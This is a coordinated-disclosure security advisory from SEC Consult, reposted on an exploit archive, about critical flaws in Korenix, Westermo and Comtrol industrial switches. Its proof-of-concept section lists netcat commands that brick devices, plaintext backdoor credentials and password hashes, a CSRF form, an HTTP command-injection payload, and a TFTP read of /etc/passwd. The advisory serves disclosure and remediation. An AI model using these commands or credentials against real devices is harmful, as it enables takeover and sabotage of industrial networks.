Korenix CSRF / Backdoor Accounts / Command Injection / Missing Authentication

Authored by T. Weber | Site sec-consult.com

Posted Jun 1, 2021

Multiple Korenix products are affected by unauthenticated device administration, backdoor accounts, cross site request forgery, unauthenticated tftp actions, and command injection vulnerabilities. Products affected include JetNet 5428G-20SFP, JetNet 5810G, JetNet 4706F, JetNet 4706, JetNet 4706, JetNet 4510, JetNet 5010, JetNet 5310, and JetNet 6095.

tags | exploit, vulnerability, csrf
advisories | CVE-2020-12500, CVE-2020-12501, CVE-2020-12502, CVE-2020-12503, CVE-2020-12504
SHA-256 | 2ab15e19675a05aaabcb76dc1553dadb6ceb96917b39bbdccdfbeaba3666a535 Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
SEC Consult Vulnerability Lab Security Advisory < 20210601-0 >
=======================================================================
             title: Multiple Critical Vulnerabilities
           product: Multiple Korenix Technology products:
                    Korenix: JetNet 5428G-20SFP, JetNet 5810G, JetNet 4706F,
                             JetNet 4706, JetNet 4706, JetNet 4510,
                             JetNet 5010, JetNet 5310 and JetNet 6095.
                    Westermo: PMI-110-F2G
                    Pepperl+Fuchs: Comtrol RocketLinx Series,
                    see SA-2020105-0
  vulnerable version: See "Vulnerable / tested versions"
       fixed version: See "Solution"
          CVE number: CVE-2020-12500, CVE-2020-12501, CVE-2020-12502,
                      CVE-2020-12503, CVE-2020-12504
              impact: Critical
            homepage: https://www.korenix.com/
               found: 2020-04-06
                  by: T. Weber (Office Vienna)
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Atos company
                      Europe | Asia | North America

                      https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"Korenix Technology, a Beijer group company within the Industrial Communication
business area, is a global leading manufacturer providing innovative,
market-oriented, value-focused Industrial Wired and Wireless Networking
Solutions.
With decades of experiences in the industry, we have developed various product
lines, including:

  - Industrial Ethernet Switch: Rackmount, Din-Rail, Managed, Unmanaged
  - Industrial Power-over-Ethernet Switch: Rackmount, Din-Rail, Managed,
                                           Unmanaged
  - Ethernet SFP/SFP+ Fiber Transceiver: 100M, 1000M, 10G
  - Industrial Wireless & Cellular Solution: LAN Access Point, WLAN Controller,
                                             Mobile Cellular Router/Gateway
  - Industrial Media Converter: Ethernet, Serial
  - Industrial Computer & Serial Server & I/O: VPN Router Computer, RISC,
X86,
                                             Serial Device Server, Switch Card
                                             & I/O Module
  - Network Management Software: Korenix NMS Industrial Intelligent Network
                                 Management System, Korenix Mobile Manager
                                 Utility

Our products are mainly applied in SMART industries: Surveillance, Machine-to-
Machine, Automation, Remote Monitoring, andTransportation. Worldwide customer
base covers different Sales channels, including end-customers, OEMs, system
integrators, and brand label partners. [...]"

Source: https://www.korenix.com/en/about/index.aspx?kind=3



Business recommendation:
------------------------
SEC Consult recommends to perform a thorough security review conducted by
security professionals to identify and resolve potential further critical
security issues.


Vulnerability overview/description:
-----------------------------------
1) Unauthenticated Device Administration (CVE-2020-12500)
Korenix, Westermo (members of the Beijer Group) and Comtrol (Pepperl+Fuchs) are
sharing a partially similar firmware base for the industrial devices. They can
be managed via a Windows client program called "Korenix View" or "Jet View".
This program communicates in plaintext via UDP. All messages that are sent to
the device are broadcastet in the whole subnet and the answers from the devices
are send back via broadcast too.
The older version of this management program, called "cmd-server2", can be
controlled without a password. Analyzing the newer version, called
"jetviewd", indicates that some kind of password can be set. But this is not
part of the default configuration.

Actions that can be done via this daemon, listening on UDP port 5010, are:
  * Modifying networking settings (IP, netmask, gateway)
  * Initiating self tests and blink LEDs on the device
  * Triggering download and upload of configuration files (via TFTP)
  * Triggering uploads of new firmware and bootloader files (via TFTP)

The device can also be bricked via this daemon so that it is necessary to
press
the reset button and re-configure the settings. This was tested on a physical
device, the JetNet 4706F.

2) Backdoor Accounts (CVE-2020-12501)
Multiple different backdoor accounts were found during quick security checks
of different firmware files. One backdoor account was tested on a later bought
device to verify this specific finding.

3) Cross-Site Request Forgery (CSRF) (CVE-2020-12502)
The web interface, that is used to set all configurations, is vulnerable to
cross-site request forgery attacks. An attacker can change settings via this
way by luring the victim to a malicious website.

4) Semi-Blind Authenticated Command Injection (CVE-2020-12503)
A semi-blind command injection vulnerabilities were found on the device series
"JetNet" and the "Westermo PMI-110-F2G Managed PoE Gigabit Switch".

They are partially sharing the same firmware base. Therefore, the payloads to
exploit those command injections are similar. Due to the lack of CSRF
protection, an attacker can execute arbitrary commands on the device by luring
the victim to click on a malicious link.

5) Arbitrary Unauthenticated TFTP Actions (CVE-2020-12504)
A TFTP service is present on a broad range of devices for firmware-,
bootloader-, and configuration-uploads/downloads. This TFTP server can be
abused to read all files from the system as the daemon runs as root which
results in a password hash exposure via the file /etc/passwd. Write access is
restricted to certain files (configuration, certificates, boot loader,
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 154 files
Ubuntu 73 files
LiquidWorm 23 files
Debian 18 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 8 files
T. Weber 4 files
Julien Ahrens 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
firmware upgrade) though.

By uploading malicious Quagga config-files an attacker can modify e.g.
IP-settings of the device. Malicious firmware and bootloader uploads are
possible too.


Proof of concept:
-----------------
1) Unauthenticated Device Administration (CVE-2020-12500)
All commands can be sent via UDP port 5010.

Device discovery (firmware/bootloader version etc. in response):
echo -e "\x00\x00\x00\x07\x00\x00\x00\x04\x00\x00\x00\x01" | nc -u $IP 5010

Blink with leds:
echo -e "\x00\x00\x00\x5b\x00\x00\x00\x01\x01" | nc -u $IP 5010

Permanent denial of service. The device is only available after pressing the
reset button to load the default config:
echo -e "\x00\x00\x00\x1f\x01\x01\x01\x04\x01\x01\x01\x01" | nc -u $IP 5010

Present on:
  * Korenix JetNet (Multiple devices)
  * Westermo PMI-110-F2G
  * Comtrol RocketLinx (Multiple devices)

2) Backdoor Accounts (CVE-2020-12501)
The following accounts are available on different devices of Korenix. There
might be more affected devices across this vendor. Westermo and Comtrol devices
may be affected too.

* User "kn001277", present on:
  - JetNet 4706f
  - JetNet 4706
    More devices may be affected.

Three users are present on the system according to "/etc/passwd". The hashes
were cracked and assigned to each user:
admin:admin
root:ilovekor
kn001277:vup2u04

By inspecting "/etc/passwd", the only user that is allowed to login
to the device on the real shell (/bin/sh) is "kn001277":
root:heGjODbadxtNw:0:0:root:/home:/bin/vtysh
[...]
kn001277:WcAXxIMgSqAhs:0:0:kn001277:/home:/bin/sh
[...]
admin:Dju8a52uMhbg.:0:0:root:/home:/bin/vtysh

The credentials were tested on a real device and they worked.

3) Cross-Site Request Forgery (CSRF) (CVE-2020-12502)
The following CSRF PoC can be used to ping 127.0.0.1. All other actions in the
context of the menu, like uploading config files, can be done in the same
way:
--------------------------------------------------------------------------------
<html>
   <body>
   <script>history.pushState('', '', '/')</script>
     <form action="http://$IP/goform/formping" method="POST">
       <input type="hidden" name="PingIPAddress" value="127.0.0.1" />
       <input type="hidden" name="submit-url" value="/toolping.asp"
/>
       <input type="hidden" name="Submit" value="Ping" />
       <input type="submit" value="Submit request" />
     </form>
   </body>
</html>
--------------------------------------------------------------------------------

4) Semi-Blind Authenticated Command Injection (CVE-2020-12503)
The following command injection works on the devices:
  * Korenix JetNet (Multiple devices)
  * Comtrol RocketLinx (Multiple devices)
  * Westermo PMI-110-F2G

The ping functionality in the web-interfaces can be abused to inject system
commands in a semi-blind way. Two requests must be sent to the service to
retrieve the output of the command injection.

The first request is a POST-request to the endpoint /goform/formping:
--------------------------------------------------------------------------------
POST /goform/formping HTTP/1.1
Host: $IP
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
Connection: close
Cookie: -common-web-session-=::webs.session::9c10b4b1b22063e7fcba5369ff86e779
Upgrade-Insecure-Requests: 1

PingIPAddress=;id;&submit-url=%2Ftoolping.asp&Submit=Ping
--------------------------------------------------------------------------------
This request triggers the actual command injection in a blind way. The output
can be fetched from the system by using the following GET-request after
triggering the previous POST-request:
--------------------------------------------------------------------------------
GET //toolping.asp HTTP/1.1
Host: $IP
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: -common-web-session-=::webs.session::9c10b4b1b22063e7fcba5369ff86e779
Upgrade-Insecure-Requests: 1
--------------------------------------------------------------------------------

5) Arbitrary TFTP Actions (CVE-2020-12504)
The Linux TFTP client was used to download files from the system using
absolute paths. Uploads were only possible on existing paths like:
/home/Quagga.conf
/home/bootloader.bin

To download the /etc/passwd file from the system, the following
command was invoked:
[user@localhost ~]$ tftp -m binary <Target-IP> -c get /etc/passwd
[user@localhost ~]$ cat passwd
root:heGjODbadxtNw:0:0:root:/home:/bin/vtysh
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
adm:*:4:4:adm:/var/adm:
lp:*:5:7:lp:/var/spool/lpd:
sync:*:6:8:sync:/bin:/bin/sync
shutdown:*:7:9:shutdown:/sbin:/sbin/shutdown
halt:*:8:10:halt:/sbin:/sbin/halt
mail:*:9:11:mail:/var/spool/mail:
news:*:10:12:news:/var/spool/news:
uucp:*:11:13:uucp:/var/spool/uucp:
kn001277:WcAXxIMgSqAhs:0:0:kn001277:/home:/bin/sh
operator:*:12:0:operator:/root:
games:*:13:100:games:/usr/games:
ftp:*:15:14:ftp:/var/ftp:
man:*:16:100:man:/var/cache/man:
nobody:*:65534:65534:nobody:/home:/bin/sh
admin:Dju8a52uMhbg.:0:0:root:/home:/bin/vtysh

Present on:
  * Korenix JetNet (Multiple devices)
  * Comtrol RocketLinx (Multiple devices)
  * Westermo PMI-110-F2G

The vulnerabilities 1), 2), 3), 4),and 5) were manually verified on an
emulated device by using the MEDUSA scalable firmware runtime.

  Vulnerable / tested versions:
-----------------------------
Korenix JetNet 5428G-20SFP / 1.0
Korenix JetNet 5810G       / 1.1
Korenix JetNet 5310        / 1.5
Korenix JetNet 5010        / 3.1a
Korenix JetNet 4706F       / 2.3b
Korenix JetNet 4706        / 2.3b
Korenix JetNet 4510        / 3.0b
Westermo PMI-110-F2G       / 1.5
Comtrol ES7510             / 3.1a
Comtrol ES7510-XT          / 2.1b
Comtrol ES7506             / 2.1b
Comtrol ES8509-XT          / 2.1a
```


Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

```
Comtrol ES8510            / 3.1a
Comtrol ES8510-XT         / 3.1a
Comtrol ES9528-XTv2       / 2.1a

Vendor contact timeline:
------------------------
2020-04-14: Contacting CERT@VDE through info@cert.vde.com and requested support
             for the disclosure process due to the involvement of multiple
             vendors.
2020-04-15: Security contact responded, that the products were developed by
             Korenix Technologies.
2020-04-30: Security contact informed us, that some vulnerabilities were
             confirmed by the vendor.
2020-07-30: Call with Pepperl+Fuchs contact. Contact stated that the
             vulnerabilities were reported to Korenix.
2020-09-29: Call with Pepperl+Fuchs and CERT@VDE regarding status.
             Pepperl+Fuchs stated that they just have a sales contact from
             Korenix.
2020-10-05: Coordinated release of SA-20201005-0.
2020-10-05: Call with the helpdesk of Beijer Electronics AB. The contact stated
             that no case regarding vulnerabilities were opened and created one.
             The product owners of Westermo, Korenix and Beijer Electronics were
             informed via this inquiry. Set disclosure date to 2020-11-25.
2020-10-06: Restarted the whole responsible disclosure process by sending
a
             request to the new security contact cs@beijerelectronics.com.
2020-10-07: Received an email from a Korenix representative which offered
to
             answer questions about product security. Started responsible
             disclosure by requesting email certificate or whether plaintext can
             be used. Referred to the request to cs@beijerelecrtronics.com.
             No answer.
2020-11-11: Asked the representatives of Korenix and Beijer regarding the
             status.
             No answer.
2020-11-25: Phone call with security manager of Beijer. Sent advisories via
             encrypted archive to cs@beijerelectronics.com. Received
             confirmation of advisory receipt. Security manager told us that he
             can provide information regarding the time-line for the patches
             within the next two weeks.
2020-12-09: Asked for an update.
2020-12-18: Call with security manager of Beijer. Vendor presented initial
             analysis done by the affected companies.
2021-03-21: Security manager invited SEC Consult to have a status meeting.
2021-03-26: Agreed on an advisory split as other affected products will get
             patched later.
2021-04-12: Performed advisory split.
2021-05-26: Meeting regarding advisory publication. Received vendor statement.
2021-06-01: Coordinated release of security advisory.

Solution:
---------
Update to the most recent firmware version provided on the vendor's website.

Vendor's statement:

"Korenix recommends users to restrict network access to the devices to only
trusted parties/devices/network. Korenix also recommends security best
practices and firewall configurations that can help protect devices from
attacks that originate from outside the network. Such practices might include:
  * Restrict physical access to device to authorized personnel,
  * Do not have direct connections to the Internet,
  * Separate from other networks by means of a firewall system with a minimal
    number of exposed ports,
  * Portable computers and removable storage media should be carefully scanned
    for viruses before they are connected to those devices.
For additional information and support please contact the local Korenix service
organization. For contact information, see:
https://www.korenix.com/en/contact/index.aspx


In the upcoming version of those devices these problems will fixed before
the
first launch of those new products.

Model reported/ODM                Affected Fixed Timeline    Replacement model
JetNet 5428G-20SFP                V1.0           Q1,2021     JetNet 6528G
JetNet 5810G                      V1.1           Q1,2021     JetNet 5200 series
JetNet 4706F                      V2.3b          Q1,2021     JetNet 5200 series
JetNet 4510                       V3.0b          Q1,2021     JetNet 5200 series
JetNet 5310                       V1.5     V1.6  Q1,2021     JetNet 5200 series
Westermo PMI-110-F2G              V1.5     V1.8  Q1,2021
JetNet 5310/Comtrol ES7510-XT     V2.1b    V2.1C Q1,2021     JetNet 5200 series
JetNet 5310/Comtrol ES7510        V3.1a    V3.1b Q1,2021     JetNet 5200 series
JetNet 5010/Comtrol ES8510        V3.1a    V3.1b Q1,2021     JetNet 5200 series
JetNet 5010/Comtrol ES8510-XT     V3.1a    V3.1b Q1,2021     JetNet 5200 series
JetNet 4706/Comtrol ES7506        V2.1b          Q1,2021     JetNet 5200 series
JetNet 6095/Comtrol ES8509-XT     V2.1a          Q1,2021     JetNet 5200 series
JetNet 5428G/Comtrol ES9528-XTv2 V2.1a          Q1,2021     JetNet 6528G"


Workaround:
-----------
None


Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult, an Atos company
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos company. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF Thomas Weber / @2021
```

Login or Register to add favorites